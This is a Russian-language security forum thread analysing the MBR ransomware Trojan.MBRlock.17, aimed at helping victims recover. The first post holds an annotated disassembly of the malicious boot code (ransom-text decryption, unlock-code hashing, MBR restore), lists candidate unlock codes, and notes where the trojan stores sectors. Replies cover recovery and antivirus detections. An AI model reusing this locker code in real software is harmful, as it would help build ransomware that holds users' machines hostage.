Анализ вымогателя Trojan.MBRlock.17

thyrex

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,382
Реакции
2,448
Баллы
593
Появилась новая разновидность MBRlock - Trojan.MBRlock.17 (ЛК:Trojan-Ransom.Boot.Mbro.e, Fortinet: w32/mbro.e!tr)

[ERROR]Мы не рекомендуем пытаться восстановить MBR самостоятельно воспользовавшись fixmbr, это может привести к утере таблицы разделов и как следствие неработоспособности компьютера. Пример[/ERROR]

Характерная особенность: строка для ввода кода смещена ближе к центру нижней строки экрана



Что нового
1. Вирус портит таблицу разделов.
2. Оригинальное содержимое MBR хранится в 16 секторе
3. Текст сообщения вымогателя и другие используемые им фразы хранятся в секторах 5-7
Оригинальное содержимое этих секторов зашифровано методом последовательного применения XOR с кодами CF-FF, 00-CE
Т.е. каждый следующий байт ксорится новым значением.
4. Знакогенератор для символов хранится в секторах 53, 54
5. Вычисляется хэш введенного кода разблокировки (используется цииклический сдвиг влево на 3 бита + xor с кодом каждого введенногоо сиимвола), т.е. в явном виде код не лежит и теоретически их подойдет несметное количество (используется тот же диапазон символов, что и в предыдущих версиях)

Дополнительный анализ имеющихся зараженных дампов показал, что:
1. Коды разблокировки могут быть длиной 5 - 11 символов
2. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
3. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
4. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63
5. Попался дамп, в котором таблица разделов не испорчена

Код:
0000: 31C0         xor     ax,ax
0002: 8ED0         mov     ss,ax
0004: BC007C         mov     sp,07C00
0007: 8ED8         mov     ds,ax
0009: 8EC0         mov     es,ax
; [B]установить режим 80х25, 16-цветный[/B]
000B: B80300         mov     ax,3
000E: CD10         int     010
; [B]чтение двух секторов, начиная с сектора 53[/B]
0010: BA8000         mov     dx,00080
0013: B93500         mov     cx,00035
0016: B80202         mov     ax,00202
0019: BB0010         mov     bx,01000
001C: CD13         int     013
; [B]загрузить знакогенератор [/B]
001E: B80011         mov     ax,01100
0021: BD0010         mov     bp,01000
0024: B94000         mov     cx,00040
0027: BAC000         mov     dx,000C0
002A: BB0010         mov     bx,01000
002D: CD10         int     010
; [B]чтение трех секторов, начиная с сектора 5[/B]
002F: BA8000         mov     dx,00080
0032: B90500         mov     cx,5
0035: B80302         mov     ax,00203
0038: BB0030         mov     bx,03000
003B: CD13         int     013
; [B]расшифровка секторов 5, 6, 7 (сообщение вымогателя и сопутствующие тексты)[/B]
003D: BE0030         mov     si,03000
0040: 89F7         mov     di,si
0042: B9D404         mov     cx,004D4
0045: B2CF         mov     dl,[B][COLOR="Red"]0CF[/COLOR][/B] ; <== начальное значение для шифрования
0047: AC         lodsb
0048: 30D0         xor     al,dl
004A: AA         stosb
004B: FEC2         inc     dl
004D: E2F8         loop     00047
; [B]вывод сообщения вымогателя на экран[/B]
004F: BE0030         mov     si,03000
0052: 89F0         mov     ax,si
0054: 83C023         add     ax,023
0057: 89C5         mov     bp,ax
0059: B80113         mov     ax,01301
005C: BB0F00         mov     bx,0000F
005F: B9B004         mov     cx,004B0
0062: BA0001         mov     dx,00100
0065: CD10         int     010
; [B]вывод строки запроса кода[/B]
0067: 89F5         mov     bp,si
0069: B80113         mov     ax,01301
006C: BB0C00         mov     bx,0000C
006F: B90C00         mov     cx,0000C
0072: BA1517         mov     dx,01715
0075: CD10         int     010
; [B]чтение введенного пользователем кода[/B]
0077: BF006C         mov     di,06C00
007A: 31C0         xor     ax,ax
007C: CD16         int     016
007E: 3C08         cmp     al,8
0080: 7521         jnz     000A3
0082: B403         mov     ah,3
0084: 31DB         xor     bx,bx
0086: 80FA21         cmp     dl,021
0089: CD10         int     010
008B: 76ED         jbe     0007A
008D: 52         push     dx
008E: FECA         dec     dl
0090: B402         mov     ah,2
0092: CD10         int     010
0094: B8200E         mov     ax,00E20
0097: CD10         int     010
0099: 5A         pop     dx
009A: FECA         dec     dl
009C: B402         mov     ah,2
009E: CD10         int     010
00A0: 4F         dec     di
00A1: EBD7         jmps     0007A
00A3: 3C0D         cmp     al,00D
00A5: 7420         jz     000C7
00A7: 3C20         cmp     al,020
00A9: 72CF         jc     0007A
00AB: 3C7E         cmp     al,07E
00AD: 77CB         ja     0007A
00AF: AA         stosb
00B0: B409         mov     ah,9
00B2: 31C9         xor     cx,cx
00B4: 41         inc     cx
00B5: B30A         mov     bl,00A
00B7: CD10         int     010
00B9: B403         mov     ah,3
00BB: 31DB         xor     bx,bx
00BD: CD10         int     010
00BF: FEC2         inc     dl
00C1: B402         mov     ah,2
00C3: CD10         int     010
00C5: EBB3         jmps     0007A
; [B]получение хэша кода, введенного пользователем[/B]
00C7: 56         push     si
00C8: BE006C         mov     si,06C00
00CB: B90800         mov     cx,8
00CE: 31D2         xor     dx,dx
00D0: C1C203         rol     dx,3
00D3: AC         lodsb
00D4: 30C2         xor     dl,al
00D6: E2F8         loop     000D0
00D8: 5E         pop     si
00D9: 81FA1033          cmp     dx,[B][COLOR="red"]03310[/COLOR][/B]    ; <== это хэш кода разблокировки (может отличаться у разных пользователей)
00DD: 7438         jz     00117
; [B]вывод сообщения об ошибке в случае неверного кода[/B]
00DF: 89F0         mov     ax,si
00E1: 83C00C         add     ax,00C
00E4: 89C5         mov     bp,ax
00E6: B80113         mov     ax,01301
00E9: BB0400         mov     bx,4
00EC: B90D00         mov     cx,0000D
00EF: BA2117         mov     dx,01721
00F2: CD10         int     010
00F4: B8200A         mov     ax,00A20
00F7: B96400         mov     cx,00064
00FA: CD10         int     010
00FC: B91400         mov     cx,00014
00FF: 31D2         xor     dx,dx
0101: B486         mov     ah,086
0103: CD15         int     015
0105: B402         mov     ah,2
0107: BA2117         mov     dx,01721
010A: CD10         int     010
010C: B8200A         mov     ax,00A20
010F: B96400         mov     cx,00064
0112: CD10         int     010
0114: E960FF         jmp     00077
; [B]код подошел, вывод строки о начале загрузки OS[/B]
0117: B80300         mov     ax,3
011A: CD10         int     010
011C: 89F0         mov     ax,si
011E: 83C019         add     ax,019
0121: 89C5         mov     bp,ax
0123: B80113         mov     ax,01301
0126: BB0200         mov     bx,2
0129: B90A00         mov     cx,0000A
012C: BA0102         mov     dx,00201
012F: CD10         int     010
0131: B409         mov     ah,9
0133: B02E         mov     al,02E
0135: B90E00         mov     cx,0000E
0138: CD10         int     010
013A: B302         mov     bl,2
013C: B402         mov     ah,2
013E: BA0102         mov     dx,00201
0141: CD10         int     010
0143: B91400         mov     cx,00014
0146: 31D2         xor     dx,dx
0148: B486         mov     ah,086
014A: CD15         int     015
; [B]передача управления на восстановление MBR[/B]
014C: 6A00         push     0
014E: 07         pop     es
014F: CD12         int     012
0151: C1E006         shl     ax,6
0154: 8EC0         mov     es,ax
0156: 31FF         xor     di,di
0158: BE647D         mov     si,07D64
015B: B92200         mov     cx,00022
015E: F3A4         rep     movsb
0160: 06         push     es
0161: 6A00         push     0
0163: CB         retf
; [B]восстановление MBR и передача управления оригинальному загрузчику[/B]
0164: 6A00         push     0
0166: 07         pop     es
0167: B280         mov     dl,080
0169: B91000         mov     cx,00010
016C: B80102         mov     ax,00201
016F: BB007C         mov     bx,07C00
0172: CD13         int     013
0174: B280         mov     dl,080
0176: B90100         mov     cx,1
0179: B80103         mov     ax,00301
017C: BB007C         mov     bx,07C00
017F: CD13         int     013
0181: EA007C0000     jmpf     00000:07C00

12345
16464
34655990
04455951
16454101
36655980
04454151
10054133
17655904
10655930
00000277572
00000677568
00001077577
00000877577
00001277576
00001877573

Утилита для получения пароля из дампа MBR находиться здесь.
 
Последнее редактирование модератором:
akok

akok

Команда форума
Администратор
Сообщения
16,550
Реакции
13,101
Баллы
2,203
Что посоветуешь при заражении? Примерный список паролей уже есть?
 
Трубадур

Трубадур

Активный пользователь
Сообщения
34
Реакции
36
Баллы
398
Наверна я много пропустил.
Подскажите а как же запустить утилиту для поиска кода, когда компьютер будет блокирован? Если можно - по пунктам. Пожалуйста.
 
akok

akok

Команда форума
Администратор
Сообщения
16,550
Реакции
13,101
Баллы
2,203
Трубадур, никак. Утилита предназначена для анализа дампа MBR.

Добавлено через 44 секунды
Ну или с LiveCd.
 
akok

akok

Команда форума
Администратор
Сообщения
16,550
Реакции
13,101
Баллы
2,203
Последнее редактирование модератором:
thyrex

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,382
Реакции
2,448
Баллы
593
Провел более тщательный анализ 5 имеющихся зараженных дампов. Коды разблокировки длиной 5 символов (2 случая) или 8 символов (3 случая)

Установлено:
1. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
2. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
3. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63

Просьба обновить информацию в первом посте темы
 
Severnyj

Severnyj

Команда форума
Супер-Модератор
Ассоциация VN/VIP
Сообщения
8,423
Реакции
8,781
Баллы
743
Правильнее будет так: она испорчена блокиратором

До

После
То есть если примените fixmbr, затем последуют обязательные танцы с бубном вместе с TestDisk?

Инфектора пока не поймали?

Добавлено через 6 минут 32 секунды
Ооо, ДрВеб решил первенство присвоить
 
Последнее редактирование модератором:
thyrex

thyrex

Ассоциация VN/VIP
VIP
Сообщения
2,382
Реакции
2,448
Баллы
593
Значит у докторов есть дроппер. Ибо подробностей инфицирования до сих пор небыло известно.
Были случаи, когда просили только 500 и 600 рублей. А на картинке уже 400.

То есть если примените fixmbr, затем последуют обязательные танцы с бубном вместе с TestDisk?
Вот здесь тоже танцы описаны
 
Последнее редактирование модератором:
akok

akok

Команда форума
Администратор
Сообщения
16,550
Реакции
13,101
Баллы
2,203
Ну так... вендоры завсегда так делают.
 
akok

akok

Команда форума
Администратор
Сообщения
16,550
Реакции
13,101
Баллы
2,203
К списку подтянулся и Fortinet - w32/mbro.e!tr
 
Severnyj

Severnyj

Команда форума
Супер-Модератор
Ассоциация VN/VIP
Сообщения
8,423
Реакции
8,781
Баллы
743
На VT уже 8 детектов, а DrWeb, куда-то смылся
 
Последнее редактирование модератором:
Сверху Снизу